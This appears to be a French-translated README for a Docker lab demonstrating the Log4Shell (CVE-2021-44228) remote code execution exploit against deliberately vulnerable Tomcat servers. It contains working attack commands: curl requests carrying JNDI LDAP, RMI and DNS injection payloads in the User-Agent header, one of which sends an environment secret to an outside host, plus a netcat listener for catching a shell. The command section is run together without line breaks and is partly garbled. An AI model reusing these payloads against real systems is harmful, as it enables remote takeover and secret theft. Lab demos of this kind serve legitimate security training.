
Une démonstration d'exploit RCE LDAP basée sur Docker pour CVE-2021-44228 Log4Shell
Le serveur Tomcat 8 de démonstration sur le port 8080 possède une application vulnérable (log4shell) déployée et le serveur est également vulnérable via des attaques par user-agent.
L'application d'exploitation distante de cette démo est basée sur celle trouvée sur https://github.com/kozmer/log4j-shell-poc
Ce serveur Tomcat de démonstration (Tomcat 8.5.3, Java 1.8.0u51) a été reconfiguré pour utiliser Log4J2 pour la journalisation - une configuration non standard.
Un serveur Bitnami plus récent est désormais disponible sur le port 8888. Il est également configuré pour la journalisation Log4J2 et exécute Tomcat 9.0.55 et OpenJDK 11.0.13.
L'exploitation RMI contre le serveur Tomcat 9 / Java 11 est décrite ici : https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3 janvier 2019) par Michael Stepankin
Le script de détection vérifiera les vulnérabilités de user-agent et provient d'ici : https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
Ce code nécessite Docker et Docker Compose
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
# POC_ADDR is the address of the cve-poc container
# LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build
nc -lv 10.10.10.31 9001docker-compose upadminpassword${jndi:ldap://172.16.238.11:1389/a}ncnc -lv 10.10.10.31 9001docker-compose upcurl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shelldocker-compose upcurl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/J'ai des problèmes avec l'argument de ligne de commande pour la cible ping. Vous devez donc compiler vous-même.
docker-compose updocker exec -it log4j-poc_cve-poc_1 /bin/bashcd /home/user/rmi-pocjavac -cp catalina.jar:. RMIServerPOC.javajavac -cp catalina.jar:. RMIServerPOC 127.0.0.1docker-compose upcurl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2